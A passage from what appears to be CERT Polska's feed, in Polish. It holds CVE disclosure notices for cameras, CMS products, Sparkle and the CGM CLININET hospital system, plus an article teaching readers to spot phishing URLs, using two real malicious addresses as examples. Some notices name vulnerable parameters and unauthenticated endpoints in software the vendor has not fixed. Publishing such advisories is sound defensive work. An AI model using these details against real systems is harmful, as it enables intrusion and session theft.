&lt;p&gt;Za zgłoszenie podatności dziękujemy Arturowi Łąckiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w kamerach GALAYOU G2</title><link href="https://cert.pl/posts/2025/09/CVE-2025-9983/" rel="alternate"></link><published>2025-09-22T11:55:00+01:00</published><updated>2025-09-22T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-09-22:/posts/2025/09/CVE-2025-9983/</id><summary type="html">W oprogramowaniu GALAYOU G2 wykryto podatność typu Missing Authentication for Critical Function (CVE-2025-9983).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w kamerach GALAYOU G2 i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-9983"&gt;CVE-2025-9983&lt;/a&gt;: Kamery GALAYOU G2 przesyłają obraz wideo za pomocą strumienia RTSP. Domyślnie strumienie są chronione losowo wygenerowanymi poświadczeniami. Jednak dostęp do strumienia nie wymaga użycia żadnych poświadczeń. Zmiana tych parametrów nie zmienia zachowania kamery.&lt;/p&gt;
&lt;p&gt;Producent nie udzielił żadnej odpowiedzi. Przetestowano tylko wersję 11.100001.01.28 — inne wersje również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Szymonowi Paszunowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Jak rozpoznać fałszywe strony internetowe i uniknąć phishingu</title><link href="https://cert.pl/posts/2025/09/analiza-adresow-stron/" rel="alternate"></link><published>2025-09-17T12:00:00+02:00</published><updated>2025-09-17T12:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-09-17:/posts/2025/09/analiza-adresow-stron/</id><summary type="html">Współczesne ataki phishingowe wykorzystują dokładne kopie wizualne znanych serwisów, co uniemożliwia rozpoznanie oszustwa na podstawie wyglądu strony. Przedstawiamy metodę analizy adresów URL jako jedyną niezawodną technikę weryfikacji autentyczności witryn. Omawiamy również funkcje bezpieczeństwa przeglądarek wspierające użytkowników w&amp;nbsp;identyfikacji prawdziwych domen.</summary><content type="html">&lt;p&gt;&lt;strong&gt;Współczesne ataki phishingowe wykorzystują dokładne kopie wizualne znanych serwisów, co uniemożliwia rozpoznanie oszustwa na podstawie wyglądu strony. Przedstawiamy metodę analizy adresów URL jako jedyną niezawodną technikę weryfikacji autentyczności witryn. Omawiamy również funkcje bezpieczeństwa przeglądarek wspierające użytkowników w&amp;nbsp;identyfikacji prawdziwych domen.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Dlaczego wygląd strony to za mało?&lt;/h2&gt;
&lt;p&gt;Phishing to wciąż najbardziej rozpowszechniona forma cyberoszustwa. Socjotechnika sprawa, że trafiamy na stronę, gdzie oszuści wyłudzają od nas cenne informacje. Pamiętajmy, że w dzisiejszych czasach praktycznie każdy, kto posiada podstawowe umiejętności techniczne, może stworzyć stronę do złudzenia przypominającą tę, którą dobrze znamy. Fałszywe strony mogą mieć skopiowany każdy element wizualny – logo, kolory, układ graficzny. Wszystko to sprawia, że nie jesteśmy w stanie odróżnić ich od oryginału.&lt;/p&gt;
&lt;p&gt;Współczesny phishing to już nie tylko ordynarne oszustwo. Często wystarczy jedno kliknięcie w link z sensacyjnego posta w mediach społecznościowych albo w odnośnik z SMS-a lub e-maila aby trafić na dokładną kopię znanego serwisu.&lt;/p&gt;
&lt;h2&gt;Jak więc stwierdzić, na jakiej stronie naprawdę się znaleźliśmy?&lt;/h2&gt;
&lt;p&gt;Skoro nie możemy polegać na wyglądzie strony, to co nam pozostaje? Jedynym wiarygodnym źródłem informacji jest adres widoczny w pasku przeglądarki. To właśnie w nazwie domeny kryje się odpowiedź na pytanie, gdzie rzeczywiście jesteśmy. Jednak rozpoznanie domeny w adresie URL wcale nie jest proste – cyberprzestępcy używają coraz bardziej wyrafinowanych sztuczek, żeby nas zmylić.&lt;/p&gt;
&lt;h2&gt;Przykłady wprowadzających w błąd adresów&lt;/h2&gt;
&lt;p&gt;Przyjrzyjmy się dwóm rzeczywistym przykładom. Na pierwszy rzut oka wyglądają jak adresy znanych serwisów:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Przykład 1:&lt;/strong&gt; 
  &lt;code&gt;https://account.booking.comんdetailんrestric-access.www-account-booking.com/en/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Przykład 2:&lt;/strong&gt;
  &lt;code&gt;https://allegrolokalnie.pl-oferta5815015105198474.cfd/oferta/laptop-gamingowy-lenovo-ryzen-5/qRnGOMfpKOeBBs7bre&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Wydaje się, że pierwszy adres prowadzi do Booking.com, a drugi do Allegro Lokalnie, prawda? Nic bardziej mylnego! Żaden z nich nie należy do oryginalnych serwisów.&lt;/p&gt;
&lt;h2&gt;Jak poprawnie przeanalizować taki adres&lt;/h2&gt;
&lt;p&gt;Żeby poprawnie przeanalizować adres strony, należy wykonać następujące kluczowe kroki:&lt;/p&gt;
&lt;h4&gt;Krok 1: Wyizoluj domenę&lt;/h4&gt;
&lt;p&gt;Znajdź pierwszy ukośnik (/) po schemacie „http://” lub „https://”. Wszystko między „://” a tym ukośnikiem to nazwa hosta (domena).&lt;/p&gt;
&lt;h4&gt;Krok 2: Uważaj na homoglify – znaki podobne do typowych symboli&lt;/h4&gt;
&lt;p&gt;W pierwszym przykładzie znak „ん" tylko udaje ukośnik i tyldę, ale jest zupełnie innym znakiem – takie podstawienia mają zmylić nasz wzrok.&lt;/p&gt;
&lt;h4&gt;Krok 3: Czytaj domenę od prawej do lewej&lt;/h4&gt;
&lt;p&gt;Rozbij domenę na części po kropkach i analizuj od prawej do lewej:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Najbardziej wysunięty segment to rozszerzenie domeny najwyższego poziomu (TLD), np. &lt;em&gt;.com&lt;/em&gt;, &lt;em&gt;.pl&lt;/em&gt;, &lt;em&gt;.cfd&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Niektóre rozszerzenia są złożone, np. &lt;em&gt;.waw.pl&lt;/em&gt;, &lt;em&gt;.com.pl&lt;/em&gt;, &lt;em&gt;.org.pl&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Główna domena składa się z rozszerzenia oraz etykiety bezpośrednio je poprzedzającej&lt;/li&gt;
&lt;li&gt;Wszystko na lewo to subdomeny lub wstawki, które nie wskazują na przynależność do rzeczywistej marki&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Zastosowanie tej analizy pozwala ujawnić prawdę. Po przejściu powyższych kroków odkrywamy:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Prawdziwą domenę w pierwszym adresie: &lt;code&gt;www-account-booking.com&lt;/code&gt; (a nie &lt;code&gt;booking.com&lt;/code&gt;!)&lt;/li&gt;
&lt;li&gt;Prawdziwą domenę w drugim adresie: &lt;code&gt;pl-oferta5815015105198474.cfd&lt;/code&gt; (a nie &lt;code&gt;allegrolokalnie.pl&lt;/code&gt;!)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Jak widać, poprawna analiza adresu URL wcale nie jest łatwa i wymaga uwagi oraz znajomości podstawowych zasad budowy adresów internetowych.&lt;/p&gt;
&lt;h2&gt;Funkcje bezpieczeństwa przeglądarek: Twoja pierwsza linia obrony&lt;/h2&gt;
&lt;h3&gt;Ochrona w przeglądarkach na komputerze&lt;/h3&gt;
&lt;p&gt;Nowoczesne przeglądarki zawierają funkcje bezpieczeństwa pomagające użytkownikom identyfikować rzeczywiste domeny. Firefox wyróżnia się podświetlaniem głównej domeny.&lt;/p&gt;
&lt;p&gt;Podczas przeglądania naszych przykładów w Firefoxie, widzimy w pasku adresu:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Pasek adresu w przeglądarce Firefox z widocznym pierwszym adresem" src="/uploads/2025/09/analiza-adresow-stron/url-1-firefox.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Pasek adresu w przeglądarce Firefox z widocznym drugim adresem" src="/uploads/2025/09/analiza-adresow-stron/url-2-firefox.png"&gt;&lt;/p&gt;
&lt;p&gt;Przeglądarka wyraźnie podświetla &lt;strong&gt;www-account-booking.com&lt;/strong&gt; dla pierwszego adresu oraz &lt;strong&gt;pl-oferta5815015105198474.cfd&lt;/strong&gt; w drugim adresie.&lt;/p&gt;
&lt;p&gt;To wizualne rozróżnienie natychmiast ujawnia, że te strony nie mają żadnego związku z oryginalnymi markami.&lt;/p&gt;
&lt;p&gt;Chrome i inne przeglądarki również oferują podświetlanie domen. Zazwyczaj jednak podświetlają całą domenę wraz z subdomenami, co może utrudnić wykrycie oszustwa. Dodatkowo niższy kontrast kolorów w Chrome może sprawić, że podświetlenie będzie mniej zauważalne dla użytkowników. Dlatego liczy się Wasza uważność!&lt;/p&gt;
&lt;p&gt;&lt;img alt="Pasek adresu w przeglądarce Chrome z widocznym pierwszym adresem" src="/uploads/2025/09/analiza-adresow-stron/url-1-chrome.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Pasek adresu w przeglądarce Chrome z widocznym drugim adresem" src="/uploads/2025/09/analiza-adresow-stron/url-2-chrome.png"&gt;&lt;/p&gt;
&lt;h3&gt;Kwestie przeglądarek mobilnych&lt;/h3&gt;
&lt;p&gt;Biorąc pod uwagę mniejszy rozmiar ekranu na urządzeniach mobilnych, możemy się zastanawiać, jak te długie, zwodnicze adresy URL wyglądają na smartfonach. Na szczęście większość przeglądarek mobilnych implementuje inteligentne przewijanie, które automatycznie ustawia pasek adresu tak, aby wyświetlić koniec domeny — najważniejszą część do weryfikacji.&lt;/p&gt;
&lt;p&gt;Firefox na urządzeniach mobilnych na przykład dba o to, żeby rzeczywista domena pozostała widoczna, przewijając adres tak, aby pokazać:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Pasek adresu w przeglądarce Firefox na systemie Android z widocznym pierwszym adresem" src="/uploads/2025/09/analiza-adresow-stron/url-1-firefox-android.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Pasek adresu w przeglądarce Firefox na systemie Android z widocznym drugim adresem" src="/uploads/2025/09/analiza-adresow-stron/url-2-firefox-android.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;...&lt;strong&gt;www-account-booking.com/&lt;/strong&gt;... dla pierwszego przykładu&lt;/li&gt;
&lt;li&gt;...&lt;strong&gt;erta5815015105198474.cfd/&lt;/strong&gt;... dla drugiego przykładu&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Chrome na Androidzie i Safari na iOS wdrożyły to samo podejście ochronne:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Pasek adresu w przeglądarce Chrome na systemie Android z widocznym pierwszym adresem" src="/uploads/2025/09/analiza-adresow-stron/url-1-chrome-android.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Pasek adresu w przeglądarce Chrome na systemie Android z widocznym drugim adresem" src="/uploads/2025/09/analiza-adresow-stron/url-2-chrome-android.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Pasek adresu w przeglądarce Safari na systemie iOS z widocznym pierwszym adresem" src="/uploads/2025/09/analiza-adresow-stron/url-1-safari-ios.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Pasek adresu w przeglądarce Safari na systemie iOS z widocznym drugim adresem" src="/uploads/2025/09/analiza-adresow-stron/url-2-safari-ios.png"&gt;&lt;/p&gt;
&lt;p&gt;Jak pokazano powyżej, wszystkie popularne przeglądarki na urządzenia mobilne automatycznie przewijają pasek adresu, aby ujawnić rzeczywistą domenę. Zapobiegają w ten sposób przysłonięciu prawdziwej tożsamości strony przez zwodnicze przedrostki wykorzystywane przez oszustów.&lt;/p&gt;
&lt;p&gt;To sprytne pozycjonowanie utrzymuje ten sam poziom ochrony na urządzeniach mobilnych. Użytkownicy powinni jednak być świadomi, że niektóre mniej popularne przeglądarki na urządzenia mobilne mogą nie posiadać tej funkcji bezpieczeństwa. W takich przypadkach zwodnicza część adresu może pozostać widoczna, podczas gdy rzeczywista domena będzie ukryta.&lt;/p&gt;
&lt;h2&gt;Zachowanie czujności w zmieniającym się krajobrazie zagrożeń&lt;/h2&gt;
&lt;p&gt;Zrozumienie, jak prawidłowo analizować adresy URL i rozpoznawać oszustwa domenowe jest kluczowe dla bezpieczeństwa online. Choć konkretne przykłady użyte w tym artykule zostały już oznaczone i zablokowane przez Google Safe Browsing (chroniąc użytkowników przeglądarek korzystających z tej usługi), podstawowe zasady analizy adresów internetowych pozostają uniwersalne.&lt;/p&gt;
&lt;p&gt;Techniki phishingu wciąż ewoluują. Dlatego tak ważna jest znajomość tych podstawowych kwestii – właściwej identyfikacji domen i zrozumienia funkcji bezpieczeństwa przeglądarek. Stanowi to najlepszą obronę przed coraz bardziej wyrafinowanymi próbami oszustwa online.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pamiętaj:&lt;/strong&gt; gdy masz wątpliwości co do autentyczności strony internetowej, poświęć chwilę na dokładne sprawdzenie tego, co wyświetla się w&amp;nbsp;pasku adresu przeglądarki. Te kilka sekund analizy może uchronić cię przed staniem się kolejną ofiarą oszustwa internetowego. Podziel się tym artykułem z bliskimi - rozpoznawanie domeny to kompetencja, która w dzisiejszych czasach jest bardzo potrzebna!&lt;/p&gt;</content><category term="News"></category><category term="zagrożenia"></category><category term="phishing"></category></entry><entry><title>Podatności w oprogramowaniu Sparkle</title><link href="https://cert.pl/posts/2025/09/CVE-2025-10015/" rel="alternate"></link><published>2025-09-16T11:55:00+01:00</published><updated>2025-09-16T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-09-16:/posts/2025/09/CVE-2025-10015/</id><summary type="html">W oprogramowaniu Sparkle wykryto 2 podatności typu Incorrect Authorization (CVE-2025-10015 i CVE-2025-10016)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Sparkle i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-10015"&gt;CVE-2025-10015&lt;/a&gt;: Framework Sparkle zawiera usługę XPC &lt;code&gt;Downloader.xpc&lt;/code&gt;, która domyślnie jest dostępna tylko dla aplikacji, z którą została zintegrowana. Lokalny, nieuprzywilejowany atakujący może zarejestrować tę usługę globalnie, dzięki czemu odziedziczy ona uprawnienia TCC aplikacji. Brak walidacji klienta łączącego się z usługą pozwala atakującemu kopiować pliki chronione przez TCC do dowolnej lokalizacji. Dostęp do innych zasobów, poza dotychczas przyznanymi uprawnieniami, wymaga interakcji użytkownika z systemowym monitem proszącym o zgodę.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-10016"&gt;CVE-2025-10016&lt;/a&gt;: Framework Sparkle zawiera narzędzie &lt;code&gt;Autoupdate&lt;/code&gt;. Z powodu braku uwierzytelniania klientów łączących się z usługą, lokalny nieuprzywilejowany atakujący może zażądać instalacji złośliwego pliku PKG, ścigając się o połączenie z usługą &lt;code&gt;Autoupdate&lt;/code&gt; w momencie, gdy inna aplikacja uruchamia go z uprawnieniami roota. Skutkuje to lokalnym eskalowaniem uprawnień do poziomu roota. Możliwe jest również ręczne uruchomienie &lt;code&gt;Autoupdate&lt;/code&gt; za pomocą usługi XPC &lt;code&gt;Installer&lt;/code&gt;. Wymaga to jednak, aby ofiara wprowadziła dane uwierzytelniające w systemowym oknie autoryzacji, które może zostać zmodyfikowane przez atakującego.&lt;/p&gt;
&lt;p&gt;Oba problemy zostały usunięte w wersji 2.7.2&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Karolowi Mazurkowi z Afine Team.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu urządzeń SMSEagle</title><link href="https://cert.pl/posts/2025/09/CVE-2025-10095/" rel="alternate"></link><published>2025-09-09T11:55:00+01:00</published><updated>2025-09-09T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-09-09:/posts/2025/09/CVE-2025-10095/</id><summary type="html">W oprogramowaniu urządzeń SMSEagle wykryto podatność typu SQL Injection (CVE-2025-10095).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu urzadzeń SMSEagle i brał udział w procesie ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-10095"&gt;CVE-2025-10095&lt;/a&gt;: Niektóre parametry w komponencie serwera SMPP w oprogramowaniu urządzeń SMSEagle nie są odpowiednio sanityzowane. Atakujący znajdujący się lokalnej sieci może to wykorzystać do wstrzyknięcia dowolnego kodu SQL. Podatność jest ograniczona do serwera SMPP, który działa na dedykowanej bazie danych, oddzielonej od głównej bazy danych oprogramowania.&lt;/p&gt;
&lt;p&gt;Problem został naprawiony w wersji 6.11.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Vincentowi Salvadori.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu ITCube CRM</title><link href="https://cert.pl/posts/2025/09/CVE-2025-5993/" rel="alternate"></link><published>2025-09-08T11:55:00+01:00</published><updated>2025-09-08T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-09-08:/posts/2025/09/CVE-2025-5993/</id><summary type="html">W oprogramowaniu ITCube CRM wykryto podatność typu Path Traversal (CVE-2025-5993).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu ITCube CRM i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-5993"&gt;CVE-2025-5993&lt;/a&gt;: ITCube CRM, w wersjach od 2023.2 do 2025.2 włącznie, jest podatny na ataki typu Path Traversal. Nieuwierzytelniony atakujący w sposób zdalny jest w stanie wykorzystać podatny parametr &lt;code&gt;fileName&lt;/code&gt; i pobrać dowolny plik, do którego serwer WWW posiada odpowiednie uprawnienia.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Andrey Moerov z Possehl Secure GmbH.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu GOV CMS</title><link href="https://cert.pl/posts/2025/09/CVE-2025-7385/" rel="alternate"></link><published>2025-09-04T13:55:00+01:00</published><updated>2025-09-04T13:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-09-04:/posts/2025/09/CVE-2025-7385/</id><summary type="html">W oprogramowaniu GOV CMS wykryto podatność typu SQL Injection (CVE-2025-7385).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Concept Intermedia GOV CMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-7385"&gt;CVE-2025-7385&lt;/a&gt;: Parametr &lt;code&gt;search&lt;/code&gt; w oprogramowaniu GOV CMS nie jest odpowiednio sanityzowany. Nieuwierzytelniony zdalny atakujący może wykorzystać ten parametr do wstrzyknięcia dowolnego kodu SQL.&lt;/p&gt;
&lt;p&gt;Producent nie podał informacji o podatnych wersjach. Wersje 4.0 i nowsze nie są podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Payload CMS</title><link href="https://cert.pl/posts/2025/08/CVE-2025-4643/" rel="alternate"></link><published>2025-08-29T11:55:00+01:00</published><updated>2025-08-29T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-08-29:/posts/2025/08/CVE-2025-4643/</id><summary type="html">W oprogramowaniu Payload CMS wykryto 2 podatności różnego typu (CVE-2025-4643 oraz CVE-2025-4644)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Payload CMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-4643"&gt;CVE-2025-4643&lt;/a&gt;: Payload wykorzystuje JSON Web Tokens (JWT) do uwierzytelniania. Po wylogowaniu token JWT nie jest unieważniany, co umożliwia atakującemu, który go przechwycił lub ukradł, ponowne jego użycie aż do momentu wygaśnięcia (domyślnie po 2 godzinach, choć czas ten można zmienić).&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-4644"&gt;CVE-2025-4644&lt;/a&gt;: W adapterze SQLite oprogramowania Payload występowała podatność typu Session Fixation, wynikająca z ponownego użycia identyfikatora podczas tworzenia konta. Złośliwy atakujący mógł utworzyć nowe konto, zapisać jego token JWT, a następnie je usunąć — co nie powodowało unieważnienia tokena. W rezultacie kolejny nowo utworzony użytkownik otrzymywał ten sam identyfikator, co umożliwiało atakującemu ponowne użycie JWT do uwierzytelnienia i wykonywania działań jako ten użytkownik.&lt;/p&gt;
&lt;p&gt;Oba problemy zostały naprawione w wersji 3.44.0 Payload.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu OpenSolution QuickCMS</title><link href="https://cert.pl/posts/2025/08/CVE-2025-54540/" rel="alternate"></link><published>2025-08-28T11:55:00+01:00</published><updated>2025-08-28T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-08-28:/posts/2025/08/CVE-2025-54540/</id><summary type="html">W oprogramowaniu OpenSolution QuickCMS wykryto 6 podatności różnego typu (od CVE-2025-54540 do CVE-2025-55175)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu OpenSolution QuickCMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-54540"&gt;CVE-2025-54540&lt;/a&gt;: QuickCMS jest podatny na atak typu Reflected XSS poprzez parametr &lt;code&gt;sSort&lt;/code&gt; w funkcjonalności panelu administratora. Złośliwy atakujący może przygotować specjalnie spreparowany adres URL, który po otwarciu spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-54541"&gt;CVE-2025-54541&lt;/a&gt;: QuickCMS jest podatny na atak typu Cross-Site Request Forgery w funkcjonalności usuwania stron. Złośliwy atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez administratora automatycznie wyśle żądanie POST usuwające dowolny artykuł.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-54542"&gt;CVE-2025-54542&lt;/a&gt;: QuickCMS przesyła hasło i login za pomocą żądania GET. Umożliwia to lokalnemu atakującemu, który ma dostęp do historii przeglądarki ofiary, uzyskanie danych uwierzytelniających potrzebnych do zalogowania się jako użytkownik.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-54543"&gt;CVE-2025-54543&lt;/a&gt;: QuickCMS jest podatny na atak typu Stored XSS poprzez parametr &lt;code&gt;sDescriptionMeta&lt;/code&gt; w funkcjonalności edytora SEO strony. Złośliwy atakujący posiadający uprawnienia administratora może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania edytowanej strony. Domyślnie użytkownik z uprawnieniami administratora nie ma możliwości dodawania kodu JavaScript do witryny.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-54544"&gt;CVE-2025-54544&lt;/a&gt;: QuickCMS jest podatny na atak typu Stored XSS poprzez parametr &lt;code&gt;aDirFilesDescriptions&lt;/code&gt; w funkcjonalności edytora plików. Złośliwy atakujący posiadający uprawnienia administratora może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania edytowanej strony. Domyślnie użytkownik z uprawnieniami administratora nie ma możliwości dodawania kodu JavaScript do witryny.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-55175"&gt;CVE-2025-55175&lt;/a&gt;: QuickCMS jest podatny na atak typu Reflected XSS poprzez parametr &lt;code&gt;sLangEdit&lt;/code&gt; w funkcjonalności panelu administratora. Złośliwy atakujący może przygotować specjalnie spreparowany adres URL, który po otwarciu spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.&lt;/p&gt;
&lt;p&gt;Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatność jedynie w wersji 6.8 — inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Karolowi Czubernatowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu CGM CLININET</title><link href="https://cert.pl/posts/2025/08/CVE-2025-2313/" rel="alternate"></link><published>2025-08-27T11:55:00+01:00</published><updated>2025-08-27T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-08-27:/posts/2025/08/CVE-2025-2313/</id><summary type="html">W oprogramowaniu CGM CLININET wykryto 17 podatności różnego typu (pomiędzy CVE-2025-2313 a CVE-2025-30064)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu CGM CLININET i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-2313"&gt;CVE-2025-2313&lt;/a&gt;: W usłudze Print.pl w funkcji &lt;code&gt;uhcPrintServerPrint&lt;/code&gt; możliwe jest przekazanie do wykonania dowolnego kodu za pomocą parametru &lt;code&gt;CopyCounter&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30036"&gt;CVE-2025-30036&lt;/a&gt;: Podatność typu Stored XSS występuje w module &lt;code&gt;Oddział&lt;/code&gt; w polu opisu diagnozy zgonu i pozwala na wykonanie dowolnego kodu JS oraz na przejęcie sesji innego użytkownika i tym samym potencjalną eskalację uprawnień do pełnych uprawnień administracyjnych.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30037"&gt;CVE-2025-30037&lt;/a&gt;: W systemie występuje wiele ścieżek, zwykle zawierających element &lt;code&gt;/int/&lt;/code&gt;, które powinny być dostępne tylko dla wewnętrznych usług, a są wystawione publicznie i bez uwierzytelnienia dla wszystkich komputerów mających możliwość komunikacji z serwerem aplikacyjnym na 443/tcp.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30038"&gt;CVE-2025-30038&lt;/a&gt;: Podatność polega na wycieku ID sesji przy zapisie pliku pobieranego z CGM CLININET. Identyfikator wycieka przez wbudowany mechanizm bezpieczeństwa w Windows, który zapisuje dodatkowe metadane w tzw. NTFS alternate data stream (ADS) dla wszystkich plików pobieranych z potencjalnie niezaufanych źródeł.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-30039"&gt;CVE-2025-30039&lt;/a&gt;: Nieuwierzytelniony dostęp do endpointa &lt;code&gt;/cgi-bin/CliniNET.prd/GetActiveSessions.pl&lt;/code&gt; umożliwia przejęcie sesji dowolnego użytkownika zalogowanego do systemu, w tym użytkownika z uprawnieniami administratora.&lt;/p&gt;
